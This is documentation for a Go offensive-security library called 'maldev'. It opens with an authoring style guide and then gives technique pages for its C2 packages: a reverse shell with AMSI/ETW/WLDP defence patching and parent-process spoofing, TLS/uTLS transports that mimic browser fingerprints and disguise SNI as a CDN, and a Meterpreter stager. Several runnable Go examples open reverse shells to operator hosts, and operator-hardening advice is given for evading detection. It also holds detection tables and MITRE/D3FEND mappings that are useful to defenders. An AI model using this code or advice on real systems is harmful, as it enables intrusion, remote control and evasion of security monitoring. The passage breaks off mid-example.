<one-line summary, identical to first line of godoc>
**Parameters:**
- `arg` — what it represents, accepted ranges, who supplies it.
**Returns:**
- `Result` — meaning of the value.
- `error` — `<sentinel>` when X, wraps `<other>` when Y, nil on success.
**Side effects:** <if any, e.g. allocates RWX memory, writes to %TEMP%>.
**OPSEC:** <one-line summary of what this single call leaves behind>.
**Required privileges:** one of `unprivileged` / `medium-IL` /
`admin` / `SYSTEM` / `kernel`. Append the specific Windows
privileges this call needs (e.g. `SeDebugPrivilege`,
`SeLoadDriverPrivilege`) when applicable.
**Platform:** `windows` / `linux` / `cross-platform`. Add the
minimum build (e.g. `windows ≥ 10 1809`) when the call is
build-gated.
Privilege levels (closed set):
unprivileged— runs as any logged-on interactive user, no UAC consent needed (e.g., reading own process memory,domain.Name).medium-IL— same as unprivileged but explicitly relies on the Medium integrity level (most user-mode primitives that touch HKCU but not HKLM).admin— High-IL token, post-UAC-consent or already elevated. Hostile UAC-bypass primitives target this state.SYSTEM—NT AUTHORITY\SYSTEM(winlogon-impersonation, service install, kernel-callback writes through BYOVD).kernel— needs a kernel R/W primitive (BYOVD viakernel/driver/*, or a future loaded-driver path).
Every package with public exports has a complete ## API Reference section
with one entry per exported symbol. No exceptions.
Examples (example_test.go)
Mandatory — every public package. Tier names and what each demonstrates:
Example<Func>(Simple) — bare API, ≤10 LOC.// Output:line where deterministic.Example<Pkg>_with<OtherPkg>(Composed) — 2-3 packages chained.Example<Pkg>_chain(Advanced) — ≥4 packages, end-to-end.- Complex scenarios live in
docs/examples/*.mdas runnable narrative.
godoc renders example bodies regardless of //go:build gates. Tests gated
by MALDEV_INTRUSIVE etc. still surface as examples on pkg.go.dev.
Mermaid usage
Use Mermaid for:
- Flowcharts — architecture, dependency layers, decision trees.
- Sequence diagrams — technique execution sequences (e.g., AMSI patch resolution, sleepmask state transitions).
- State diagrams — multi-phase techniques (sleepmask Idle/Encrypted/ Sleeping/Decrypted/Active, herpaderping write/replace/run/restore).
- Class diagrams — type/interface relationships (e.g.,
Callerinterface implementations). - Mind maps — MITRE T-ID hierarchy in
docs/mitre.md.
Default to Mermaid over ASCII art when both work. Keep diagrams under 25 nodes; split into linked sub-diagrams beyond that.
Example syntax for sequence:
sequenceDiagram
Implant->>amsi: PatchScanBuffer(nil)
amsi->>ntdll: NtProtectVirtualMemory(RWX)
amsi->>amsi.dll: write 31 C0 C3
amsi->>ntdll: NtProtectVirtualMemory(RX)
amsi-->>Implant: original 3 bytes
Mermaid 11.2.0 strict-mode rules
mdbook-mermaid pins Mermaid 11.2.0 (see book.toml). Its parser
is stricter than older versions; the following patterns break the
gh-pages build silently (diagram renders as raw code):
- Quote multi-word
participant/actoraliases. Bareparticipant X as STA COM apartmentparses the alias asSTAonly and errors on the rest. Useparticipant X as "STA COM apartment". Same rule forsubgraphtitles in flow diagrams. - Use
%%for diagram comments, not#or//. - Avoid the Unicode em-dash
—inside message text. ASCII--or-works across themes. Same for "smart quotes": use ASCII"and'. - Self-loops (
Actor->>Actor: msg) are fine; nestedloop/alt/optblocks must close withend. note over X,Y: textrequires a comma between actors with no leading space.
When in doubt, quote — it's never wrong to quote.
GFM features to use
Reference: GitHub advanced formatting, GFM spec.
Always use
| Feature | Syntax | When |
|---|---|---|
| Alerts | > [!NOTE|TIP|IMPORTANT|WARNING|CAUTION] | OPSEC warnings, version gates, prerequisites. Replaces all **Warning:** bold prose. |
| Collapsibles | <details><summary>…</summary>…</details> | Long stack traces, build outputs, verbose code. Default-collapsed for material > 20 lines. |
| Footnotes | [^id] + [^id]: … | Citing CVEs, papers, original blog posts. |
| Task lists | - [x] done / - [ ] todo | Setup checklists, coverage matrices, step trackers. |
| Diff blocks | ```diff | Showing a patch (e.g., AMSI bytes before/after). |
| Permalink to code lines | https://github.com/.../blob/<sha>/file#L42-L60 | Cross-references from godoc → exact source range. Use SHA, never branch. |
| Math (LaTeX) | $…$ inline, $$…$$ block | Crypto algorithms, RC4 init, TEA round equations, hash math. |
| Tables w/ alignment | :---|:---:|---: | Comparison matrices, MITRE tables, capability matrices. |
| Mermaid | ```mermaid | All sequence/flow/state/class/mindmap diagrams. |
| Auto-linked refs | #1234, @user, full SHAs | Linking back to issues, mentions, commits. |
| Headings 1–6 | # … ###### | H1 once per page; H2 for sections; H3 for sub-sections. Don't skip levels. |
Conditional / niche
| Feature | Syntax | When |
|---|---|---|
| Subscript / Superscript | <sub>2</sub>, <sup>2</sup> | Math indices, version annotations (Win11<sub>24H2</sub>). |
| Underline | <ins>text</ins> | Rare. Prefer bold for emphasis. |
| Color swatches | `#RRGGBB`, `rgb(r,g,b)` | Inline colour visualisation. Could illustrate byte-pattern signatures. |
| Picture element (theme-aware) | <picture><source media="(prefers-color-scheme: dark)" …> | Diagrams with light + dark variants. |
| Strikethrough | ~~deprecated~~ | Marking removed APIs in CHANGELOG. |
| Emoji shortcodes | :rocket: | Sparingly; never in API references. |
| HTML comments | <!-- … --> | TOC markers, <!-- BEGIN AUTOGEN --> / <!-- END AUTOGEN --> boundaries. |
| Line break inside paragraph | trailing (2 spaces), \, or <br> | Sparingly; usually a paragraph break is correct. |
| File attachments (drag-drop) | (UI) | Issue/PR comments only — uploads to user-attachments CDN. Not for repo docs (use assets/ directory). |
GitHub-platform features (commit messages & PRs only)
These are not for docs in /docs, but they're part of the project's
authoring conventions and listed here so contributors know to use them.
| Feature | Syntax | When |
|---|---|---|
| Closing keywords | Closes #123, Fixes #456, Resolves #789 (also close, fix, resolve, closed, fixed, resolved) in commit/PR body | Auto-closes the linked issue when the PR merges to default branch. Always use lowercase form for consistency. |
| Cross-repo refs | org/repo#123 | Linking issues/PRs across repositories. |
| Commit-SHA refs | full or 7-char SHA in commit/PR body | Auto-links to the commit. Always paste full SHA in committed prose; GitHub auto-shortens display. |
| Mention shortcuts | @user and @org/team | Notify a person or team in a PR/issue/discussion. |
| Suggestion blocks | ```suggestion | In PR review comments only. Reviewer proposes a fix; author can apply with one click. |
| Reactions | (UI shortcut) | Emoji-react instead of "+1" comments. |
Not used in this project
| Feature | Reason |
|---|---|
| GeoJSON / TopoJSON maps | No geographic data. |
| STL 3D models | Not relevant. |
Raw HTML beyond <sub>/<sup>/<ins>/<details>/<summary>/<picture>/<br>/<!-- --> | Sanitisation strips most other tags; keeps surfaces consistent. |
Banned: images of code (always use code blocks); free-form **Note:**
prefixed paragraphs (use Alerts); raw <script>, <iframe>, <style> (stripped
by GitHub anyway).
README structure (root)
Length budget: ≤ 250 lines.
# maldev+ 1-line tagline.- Badges (Go version, license, MITRE technique count, test coverage).
## What is this?— ≤10 lines pitch covering audience, scope, and what makes it different.## Install— ≤5 lines.## Quick start— ≤30 lines, minimal runnable example.## Where to start— explicit role-based and topical entry points:- **Operator** → [docs/by-role/operator.md](...) - **Researcher** → [docs/by-role/researcher.md](...) - **Detection engineer** → [docs/by-role/detection-eng.md](...) Or browse: - **By technique area** → [docs/index.md](...) - **By MITRE ATT&CK ID** → [docs/mitre.md](...) - **API reference** → pkg.go.dev/github.com/oioio-space/maldev## Package map— ≤30 lines, 2-column tree (category → 5 packages max with one-liner). Detailed flat list lives indocs/index.md.## Build— ≤10 lines.## Acknowledgments,## License.
docs/index.md (navigation spine)
Required sections:
- By role — pointer to the 3 role pages.
- By technique area — 11 areas, each linking to
docs/techniques/<area>/README.md. - By MITRE ATT&CK ID — reverse-index, auto-generated.
- By package — flat alphabetical table of all public packages, auto-generated.
Auto-generation
cmd/docgen/main.go (to be added) walks go list ./..., parses doc.go
for the structured fields (MITRE T-IDs, Detection level, summary), and
regenerates:
README.md— Package map table.docs/index.md— "By package" + "By MITRE ATT&CK ID" sections.docs/mitre.md— full MITRE table.
Pre-commit hook runs cmd/docgen and fails the commit on diff. CI
re-checks. Tables are read-only handcraft-wise — edit the source
doc.go, regenerate.
Narrative content (per-technique markdown, role pages, README intro,
guides under docs/*.md) stays manual.
Versioning (YAML front-matter)
Every docs/**.md page starts with:
---
package: github.com/oioio-space/maldev/<area>/<pkg>
last_reviewed: 2026-04-27
reflects_commit: <short-sha>
---
last_reviewed is bumped by a pre-commit hook whenever the matching
*.go files change. reflects_commit is the SHA at the time of last
review. A six-month sweep flags pages with last_reviewed > 180 days ago.
README.md and docs/index.md use the same front-matter (package: is
omitted for these multi-package documents).
Voice and style
- Voice: active English. "The implant calls X. The library returns Y." Avoid "you/we/our".
- Tense: present tense for current behavior ("The patch returns 3 bytes"). Past tense for narrating runs/incidents ("The test failed on Win11 24H2 build 26100").
- Person: prefer named entity ("the operator", "the implant") over pronouns. Acceptable third-person impersonal ("the function").
- Code references: backticks for
funcName,varName,Pkg.Func. Italics for concepts, bold for key concepts (sparingly, ≤2 per paragraph). - Numbers: Arabic 1–9 inline; words for ten+ in prose ("four packages"); Arabic always for technical counts ("180 packages", "T1003.001").
- Acronyms: spell out first occurrence per page.
LSASS (Local Security Authority Subsystem Service)then plainLSASSthereafter. - Cross-references: link first mention of every package to its godoc.
Subsequent mentions plain
package. - External resources: prefer permanent links (
web.archive.org, paper DOIs, immutable GitHub blob URLs with SHA).
Migration order
Top-down, demonstrator-first, then sweep:
- New root
README.md+docs/index.md+ 3docs/by-role/*.mdpages. Land first to give immediate readability impact. - One demonstrator technique area — completely refactored with the
new template, all packages have
example_test.go. Acts as the reference for subsequent areas. Suggested:cleanup/*(small, well-bounded, mix of simple and complex). cmd/docgen+ pre-commit hook + CI gh-pages workflow. Once these exist, the autogen tables are live for any new doc.- Remaining technique areas, one PR per area:
c2,crypto+encode+hash,evasion,collection,credentials,inject,pe,persistence,process,recon,runtime,win. docs/architecture.md,docs/getting-started.md,docs/mitre.md(regenerated),docs/coverage-workflow.md(revised),docs/testing.md(revised).- Final pass: cross-link audit, breadcrumb uniformity, dead-link sweep.
Pre-commit checks (mandatory)
The pre-commit-checks skill is extended to include:
cmd/docgen --check— autogen tables are up to date.- Markdown link checker (e.g.,
lycheeormarkdown-link-check) — no dead links. doc.golinter — every public package has adoc.gomatching the template (MITRE section + Detection level + Example reference).last_reviewedbump — front-matter is updated when the corresponding*.gofiles change.- Per-tier example presence — every public package has at least
Example<Func>in<name>_example_test.go.
CI re-runs these checks on every PR.
Rules of engagement
- Never write a documentation file from memory of how things "used to be". Always grep the source first.
- Never edit a generated table by hand. Edit the source
doc.goor the generator. - Always add the role-page link "See also" entry when creating or editing a technique page.
- Always add an
example_test.gowhen adding a new public package. No exceptions. - Always front-matter every new
docs/**.mdfile. - When in doubt about Mermaid vs prose: try Mermaid; if it's > 25 nodes, split or fall back to prose with a screenshot.
C2 techniques
The c2/* package tree is the implant's outbound communication layer
plus the operator's listener side. Six sub-packages compose into a
complete reverse-shell / staging / multi-session stack:
flowchart LR
subgraph implant [Implant side]
S[c2/shell<br>reverse shell]
M[c2/meterpreter<br>MSF stager]
end
subgraph wire [Wire]
T[c2/transport<br>TCP / TLS / uTLS]
NP[c2/transport/namedpipe<br>SMB pipes]
Cert[c2/cert<br>mTLS certs + pinning]
T -.uses.-> Cert
end
subgraph operator [Operator side]
MC[c2/multicat<br>multi-session listener]
end
S --> T
S --> NP
M --> T
T --> MC
NP --> MC
Packages
| Package | Tech page | Detection | One-liner |
|---|---|---|---|
c2/shell | reverse-shell.md | noisy | reverse shell with PTY + auto-reconnect + AMSI/ETW evasion hooks |
c2/meterpreter | meterpreter.md | noisy | MSF stager (TCP / HTTP / HTTPS) with optional inject.Injector for stage delivery |
c2/transport | transport.md · malleable-profiles.md | moderate | pluggable TCP / TLS / uTLS + malleable HTTP profiles |
c2/transport/namedpipe | namedpipe.md | quiet | Windows named-pipe transport (local IPC + SMB lateral) |
c2/cert | transport.md | quiet | self-signed X.509 generation + SHA-256 fingerprint pinning |
c2/multicat | multicat.md | quiet | operator-side multi-session listener (BANNER protocol) |
Quick decision tree
| You want to… | Use |
|---|---|
| …land a reverse shell that survives drops | c2/shell.New + c2/transport |
| …blend C2 with browser TLS fingerprints | c2/transport uTLS profile (Chrome / Firefox / iOS Safari) |
| …pin the operator certificate against TLS-MITM | c2/cert.Fingerprint + transport PinSHA256 |
| …carry C2 over local IPC / SMB lateral | c2/transport/namedpipe |
…stage a Meterpreter session with inject middleware | c2/meterpreter + Config.Injector |
| …disguise HTTP traffic as jQuery CDN fetches | malleable-profiles.md |
| …host many simultaneous reverse-shell agents | c2/multicat on the operator box |
MITRE ATT&CK
| T-ID | Name | Packages | D3FEND counter |
|---|---|---|---|
| T1071 | Application Layer Protocol | c2/transport (HTTP/TLS), c2/transport/namedpipe | D3-NTA |
| T1071.001 | Web Protocols | c2/transport (malleable), c2/meterpreter (HTTP/HTTPS) | D3-NTA |
| T1573 | Encrypted Channel | c2/transport (TLS) | D3-NTA |
| T1573.002 | Asymmetric Cryptography | c2/cert (mTLS) | D3-NTA |
| T1095 | Non-Application Layer Protocol | c2/transport (raw TCP) | D3-NTA |
| T1059 | Command and Scripting Interpreter | c2/shell | D3-PSA |
| T1571 | Non-Standard Port | c2/multicat | D3-NTA |
| T1021.002 | SMB/Admin Shares | c2/transport/namedpipe (cross-host) | D3-NTA |
See also
- Operator path: build a reliable shell
- Detection eng path: C2 telemetry
evasion— apply patches before the shell connects.useragent— pair with HTTP transports for realistic User-Agent headers.inject— stage execution surface forc2/meterpreter.
Reverse shell
TL;DR
Implant calls home over any c2/transport and pipes
a local interpreter (cmd.exe or /bin/sh) over the connection. The
loop reconnects on drop with configurable retry count and back-off
delay. Unix path allocates a PTY for full interactive use; Windows
path uses direct cmd.exe I/O and optionally patches AMSI / ETW /
CLM / WLDP + disables PowerShell history before the shell starts.
Primer
Network firewalls typically allow outbound connections and block inbound ones, so a "reverse" shell calls out from the target to the operator. The operator runs a listener; the implant runs a short program that opens an outbound socket, fork-execs a local interpreter, and wires the interpreter's stdio to the socket.
Two common failure modes need explicit handling. Connections drop —
the package wraps the connect / pipe loop in an automatic reconnect
loop with configurable retry count and delay. Interpreter behaviour
on Windows differs from Unix — Unix needs a PTY for vim / top /
job control to work; Windows needs no PTY but does need careful
stdio handling. The package abstracts both differences behind a
single Shell type.
The Windows code path also exposes optional defence-patching: AMSI
disable (so PowerShell stages survive scanning), ETW patching (so
provider-based EDRs go quiet), CLM bypass (Constrained Language Mode
restrictions disabled), WLDP patching (Windows Lockdown Policy
relaxed), and PowerShell history disable (so Get-History
post-mortem returns nothing).
How it works
stateDiagram-v2
[*] --> Idle
Idle --> Connecting : Start(ctx)
Connecting --> Running : Connect OK
Connecting --> Backoff : Connect fail
Backoff --> Connecting : delay elapsed
Running --> Backoff : transport drop
Running --> Stopping : Stop()
Backoff --> Stopping : Stop()
Stopping --> [*] : Wait()
The Shell runs a strict state machine — Start is rejected on a
running shell; Stop is rejected on an idle one. Transitions are
mutex-guarded.
sequenceDiagram
participant Op as "Operator listener"
participant Imp as "Implant"
participant Sh as "Local interpreter"
loop until Stop or max retries
Imp->>Op: transport.Connect()
alt success
Imp->>Sh: spawn cmd.exe / /bin/sh (PTY on Unix)
Sh-->>Imp: stdio
par implant→operator
Imp->>Op: copy(stdin → socket)
and operator→implant
Op->>Imp: copy(socket → stdout)
end
Note over Imp: socket dropped<br>or Stop()
Imp->>Sh: kill child
else fail
Imp->>Imp: backoff(delay)
end
end
API Reference
shell.New(trans transport.Transport, cfg *Config) *Shell
Construct a Shell over the supplied transport. cfg == nil
selects DefaultConfig().
shell.DefaultConfig() *Config
Defaults: 5 reconnect attempts, 3 s back-off, no defence patching, PTY enabled on Unix.
(*Shell).Start(ctx context.Context) error
Run the connect / pipe / reconnect loop. Returns when ctx is
cancelled, Stop is called, or MaxRetries is exceeded.
(*Shell).Stop() error
Request graceful shutdown. Pair with Wait to block until the
loop exits.
(*Shell).Wait()
Block until Start returns.
(*Shell).IsRunning() bool / (*Shell).CurrentPhase() Phase
State inspection helpers.
shell.PatchDefenses() error (Windows)
Apply the AMSI / ETW / CLM / WLDP / PS history patches in one call.
Idempotent. Use before Start so the spawned cmd.exe /
powershell.exe inherits the patched ntdll.
shell.NewPPIDSpoofer() / (*PPIDSpoofer).SysProcAttr() (Windows)
Build a *syscall.SysProcAttr whose ParentProcess field points at
a chosen target (default: explorer.exe, services.exe,
RuntimeBroker.exe). Apply on the exec.Cmd the shell spawns to
make process-tree telemetry show the spoofed parent.
Examples
Simple
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
Composed (TLS + cert pin)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
const operatorPin = "AB:CD:..." // SHA-256
tr := transport.NewTLS("operator.example:8443", 10*time.Second, "", "",
transport.WithTLSPin(operatorPin))
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
Advanced (defence patching + PPID spoof + uTLS)
import (
"context"
"os/exec"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
)
_ = shell.PatchDefenses()
spoof := shell.NewPPIDSpoofer()
if err := spoof.FindTargetProcess(); err == nil {
// The spoofer publishes a SysProcAttr the shell layer applies
// to the spawned cmd.exe.
_ = spoof
}
tr := transport.NewUTLS("operator.example:443", 10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint("AB:CD:..."))
cfg := shell.DefaultConfig()
cfg.MaxRetries = 100
cfg.RetryDelay = 30 * time.Second
sh := shell.New(tr, cfg)
_ = sh.Start(context.Background())
sh.Wait()
_ = exec.Command // silence unused import in extracted snippet
Complex (full chain — evade + spoof + uTLS + reconnect forever)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
_ = evasion.ApplyAll(preset.Stealth(), nil) // AMSI/ETW/CLM/WLDP/...
_ = shell.PatchDefenses() // belt + braces
tr := transport.NewUTLS("operator.example:443", 10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint("AB:CD:..."))
cfg := shell.DefaultConfig()
cfg.MaxRetries = 0 // 0 = unlimited
cfg.RetryDelay = 60 * time.Second
sh := shell.New(tr, cfg)
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
_ = sh.Start(ctx)
sh.Wait()
See ExampleNew in
shell_example_test.go.
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Outbound TCP from a non-network process | Sysmon Event 3, EDR egress hooks |
cmd.exe / powershell.exe child of an unusual parent | Sysmon Event 1 — pair with PPIDSpoofer to reshape |
| AMSI / ETW patch bytes in ntdll/amsi.dll | Memory scanners (Defender, MDE Live Response) |
| Beacon timing patterns | Behavioural NIDS — randomise RetryDelay jitter |
Long-lived cmd.exe with redirected stdio | Process-explorer anomaly |
D3FEND counters:
- D3-OCA — outbound-connection profiling.
- D3-PSA
—
cmd.exeparentage and command-line analysis. - D3-NTA — TLS handshake + content metadata.
Hardening for the operator: prefer uTLS over plain TLS; pair
PatchDefenses and PPID spoofing; randomise RetryDelay with
random.Duration; fold the shell into a longer-lived
host process that legitimately spawns command interpreters
(maintenance scripts, build agents).
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1059 | Command and Scripting Interpreter | reverse-shell harness | D3-PSA |
| T1059.001 | PowerShell | when child is powershell.exe | D3-PSA |
| T1059.003 | Windows Command Shell | when child is cmd.exe | D3-PSA |
| T1059.004 | Unix Shell | Unix code path | D3-PSA |
Limitations
- Reverse shells are inherently noisy. No amount of jitter defeats a determined defender with full network visibility. Use uTLS + malleable profiles and accept that the shell is a short-lifetime tool.
PatchDefensesis best-effort. AMSI/ETW patches survive within the current process only. Spawned children inherit patched ntdll; re-spawned shells from a different host process do not.- PTY only on Unix. Windows lacks a true PTY — interactive
applications (
vim, full-screen TUIs) misbehave. - PPID spoof requires admin or specific process ACLs. Some targets refuse cross-session parent pinning even from elevated processes.
See also
- Transport — bytes-on-wire layer.
- Multicat — operator listener.
- Malleable profiles — HTTP-shaped variant.
evasion/preset— apply beforeStart.process/spoofparent— alternative PPID spoofing implementation outside the shell package.
Transport (TCP / TLS / uTLS)
TL;DR
Pluggable network layer behind every reverse shell or stager. Three
flavours: raw TCP, TLS with optional SHA-256 fingerprint pinning, and
uTLS that emits a TLS ClientHello byte-for-byte identical to Chrome /
Firefox / iOS Safari (defeats JA3/JA4-based detection). Pair with
c2/cert to generate the operator's mTLS material
and pin it on the implant side.
Primer
Network-layer detection of C2 splits into two camps. The first reads bytes — payload signatures, cleartext shell prompts, beacon intervals. TLS defeats this layer for any well-behaved configuration. The second reads metadata — TLS handshake fingerprints (JA3/JA4), certificate properties, SNI patterns, ALPN choices. Go's stdlib TLS emits a fingerprint that is unmistakably "Go program, not a browser", and a self-signed cert without a chain to a public CA is its own flag.
This package addresses both. The TLS transport handles encryption
plus optional certificate pinning — the implant refuses to talk to
anyone whose certificate hash does not match a hard-coded value, so
any TLS-inspection middlebox that re-signs traffic with a corporate
CA is dropped. The UTLS transport replaces Go's TLS handshake with
refraction-networking/utls,
which mimics real browser ClientHello bytes — the network monitor sees
"Chrome 124 connecting to a CDN", not "Go program with a Go-fingerprint
ClientHello".
How it works
flowchart TD
Pick{Config.UseTLS / UseUTLS} -->|raw| TCP[TCP transport]
Pick -->|TLS| TLS[TLS transport<br>+ optional cert pin]
Pick -->|uTLS| UT[uTLS transport<br>JA3 profile pinned]
TCP --> Wire((wire))
TLS --> Wire
UT --> Wire
Wire -->|defenders see| NetMon[network monitor<br>DPI + JA3 + cert]
All transports implement the same five-method Transport interface:
type Transport interface {
Connect(ctx context.Context) error
Read(p []byte) (int, error)
Write(p []byte) (int, error)
Close() error
RemoteAddr() net.Addr
}
The Listener interface is the operator-side counterpart, used by
c2/multicat to accept agents.
TLS fingerprint pinning
sequenceDiagram
participant Imp as "Implant"
participant MITM as "TLS-inspection proxy"
participant Op as "Operator handler"
Imp->>MITM: ClientHello
MITM->>Op: ClientHello (re-originated)
Op-->>MITM: ServerHello + cert (operator)
MITM-->>Imp: ServerHello + cert (proxy CA-signed)
Imp->>Imp: verifyFingerprint(cert) → mismatch
Imp->>MITM: TLS abort
Config.PinSHA256 (or WithUTLSFingerprint(...) for the uTLS
variant) holds the operator's certificate hash. The implant rejects
any certificate whose hash does not match — even if the corporate
TLS-inspection CA is in the system trust store.
API Reference
transport.Transport
The five-method interface every transport implements.
transport.New(cfg *Config) (Transport, error)
Factory. Picks TCP or TLS based on Config.UseTLS. uTLS and
malleable variants have dedicated constructors.
transport.NewTCP(address string, timeout time.Duration) *TCP
Raw TCP transport with Connect dial timeout.
transport.NewTLS(address, timeout, certPath, keyPath string, opts ...TLSOption) *TLS
TLS over TCP. Optional TLSOptions set client cert, skip-verify, and
SHA-256 server-cert pin.
transport.NewUTLS(address string, timeout time.Duration, opts ...UTLSOption) *UTLS
uTLS over TCP. Combines a JA3 profile, an SNI, and an optional pin.
transport.JA3Profile and WithJA3Profile
Enum picking which browser to mimic (HelloChrome_Auto,
HelloFirefox_Auto, HelloIOS_Auto, HelloRandomized).
transport.NewTCPListener(addr string) (Listener, error)
Operator-side listener factory. Pair with c2/multicat.
cert.Generate(cfg *Config, certPath, keyPath string) error
Generate a self-signed certificate + RSA private key in PEM at the given paths.
cert.Fingerprint(certPath string) (string, error)
Compute SHA-256 hex digest of the leaf certificate. Hard-code the
output into the implant's PinSHA256.
Examples
Simple
Plain TCP for a localhost or already-tunnelled scenario:
tr := transport.NewTCP("10.0.0.1:4444", 10*time.Second)
if err := tr.Connect(context.Background()); err != nil {
return err
}
_, _ = tr.Write([]byte("hello"))
Composed (TLS + cert pin)
Operator generates a cert and computes its fingerprint:
import "github.com/oioio-space/maldev/c2/cert"
_ = cert.Generate(cert.DefaultConfig(), "server.crt", "server.key")
fp, _ := cert.Fingerprint("server.crt")
fmt.Println("pin:", fp) // → embed in implant
Implant pins it:
tr := transport.NewTLS(
"operator.example:8443",
10*time.Second,
"", "", // no client cert
transport.WithTLSPin(fp),
)
_ = tr.Connect(context.Background())
Any TLS-inspection proxy that re-signs the certificate fails the pin check.
Advanced (uTLS with Chrome JA3 + SNI)
tr := transport.NewUTLS(
"operator.example:443",
10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint(fp),
)
_ = tr.Connect(context.Background())
Network monitor sees a Chrome TLS handshake to a CDN; the SNI hides the real destination behind a benign-looking name.
Complex (full stack: cert + uTLS + shell + evasion)
import (
"context"
"time"
"github.com/oioio-space/maldev/c2/shell"
"github.com/oioio-space/maldev/c2/transport"
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
)
const operatorPin = "AB:CD:..." // SHA-256 hex
_ = evasion.ApplyAll(preset.Stealth(), nil)
tr := transport.NewUTLS(
"operator.example:443",
10*time.Second,
transport.WithJA3Profile(transport.HelloChromeAuto),
transport.WithSNI("cdn.jsdelivr.net"),
transport.WithUTLSFingerprint(operatorPin),
)
sh := shell.New(tr, nil)
_ = sh.Start(context.Background())
sh.Wait()
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Go-fingerprint TLS ClientHello (JA3) | Zeek ssl.log, JA3-aware NIDS — bypass with NewUTLS + WithJA3Profile |
| Self-signed certificate without trusted chain | Network DLP / TLS-inspection logs — bypass by signing through a real CA on the operator side, or accepting the self-signed flag and pinning |
| Unusual SNI / no SNI | Modern NIDS flag absent or randomised SNIs — set WithSNI to a plausible CDN host |
| Certificate-pin failure on re-signed traffic | This is the desired outcome on the implant side — but the abrupt connection drop is itself a signal |
| Beacon timing / response sizes | Behavioural NIDS clusters periodic short connections — randomise jitter at the shell layer |
D3FEND counters:
- D3-NTA — JA3 / SNI / cert-property correlation.
- D3-DNSTA — DNS-resolution patterns ahead of C2 connect.
- D3-NTPM — egress proxy enforcement.
Hardening for the operator: prefer uTLS over plain TLS; pick an SNI that resolves on the actual CDN and use a matching IP; rotate certificates between campaigns; combine with malleable HTTP profiles for traffic that survives even content inspection.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1071 | Application Layer Protocol | TLS / uTLS / malleable HTTP | D3-NTA |
| T1573 | Encrypted Channel | TLS family | D3-NTA |
| T1573.002 | Asymmetric Cryptography | mTLS via c2/cert | D3-NTA |
| T1095 | Non-Application Layer Protocol | raw TCP | D3-NTA |
Limitations
- Pin must travel with the implant. A hard-coded SHA-256 in the
binary is recoverable by static analysis. Prefer build-time
injection via
//go:embedfrom a per-campaign cert. - uTLS adds binary weight. ~500 KB of crypto + parser code. For shellcode-tier implants, fall back to TLS with pinning.
- JA3 profiles age. Browser TLS handshakes evolve; refresh the uTLS dependency every few months and verify the chosen profile is still indistinguishable from current Chrome / Firefox.
- Pin failure is loud. Connection abort with a zero-length read is itself a signal. Expect that the campaign is burned the moment the corporate proxy starts rewriting traffic.
See also
- Reverse shell — primary consumer of the transport layer.
- Meterpreter — pulls stages over
Transport. - Malleable profiles — HTTP-shaped variant on top of any transport.
- Named pipe — local IPC alternative on Windows.
useragent— pair with HTTP transports for realistic User-Agent headers.- refraction-networking/utls
— upstream of
NewUTLS.
Meterpreter stager
TL;DR
Pulls a second-stage Meterpreter payload from a Metasploit
multi/handler over TCP / HTTP / HTTPS and executes it in-process.
Config.Injector overrides the default self-injection with any
inject.Injector — Early Bird APC into a
sacrificial child, indirect syscalls, decorator middleware, automatic
fallback, the lot. Linux uses an ELF wrapper that requires the live
socket fd; setting Injector on Linux is rejected.
Primer
Metasploit's Meterpreter is the canonical post-exploitation toolkit. It is too big to embed (~hundreds of KB), so attacks split it in two: a stager small enough to fit in a shellcode payload or a Go binary, and a stage (the full Meterpreter DLL or ELF) fetched at runtime over the network. The stager opens a connection to the handler, reads the stage as raw bytes, copies it into executable memory, and jumps to the entry point.
Two parts of that flow are worth abstracting. First, the fetch
is identical across Meterpreter implementations — connect, read four
length bytes, read the stage, hand the buffer to the executor.
Second, the execute is the most variable: a real engagement uses
the inject package's full surface (Early Bird APC, indirect syscalls,
XOR encoding, CPU delay) to defeat host-side telemetry. The package
exposes a clean Config.Injector knob so the same stager works
across stealth tiers.
The HTTP / HTTPS variants implement Metasploit's URI-checksum format
expected by the handler (/<8 random chars> with a checksum byte).
HTTPS supports InsecureSkipVerify for self-signed handlers and a
configurable timeout.
How it works
sequenceDiagram
participant Imp as "Implant (Stager)"
participant H as "MSF multi/handler"
Imp->>H: connect (TCP / HTTP GET / HTTPS GET)
H-->>Imp: stage length (4 bytes)
Imp->>H: read stage
H-->>Imp: stage bytes (~200 KB DLL or ELF)
alt Config.Injector set (Windows)
Imp->>Imp: inj.Inject(stage)
else default self-injection
Imp->>Imp: VirtualAlloc(RW) + RtlMoveMemory(stage)
Imp->>Imp: VirtualProtect(RX) + CreateThread
end
Note over Imp: Meterpreter session live on the same TCP / HTTPS connection
API Reference
meterpreter.Transport
Enum: TCP, HTTP, HTTPS. Selects the wire protocol.
meterpreter.Config
type Config struct {
Transport Transport
Host string
Port string
Timeout time.Duration
TLSInsecure bool // HTTPS only
Injector inject.Injector // optional, Windows-only
}
meterpreter.NewStager(cfg *Config) *Stager
Construct a stager from the config.
(*Stager).Stage(ctx context.Context) error
Fetch and execute the stage. Blocks until the connection closes (or
the spawned thread exits, depending on the executor). On Linux,
returns an error if cfg.Injector != nil.
Examples
Simple
import (
"context"
"time"
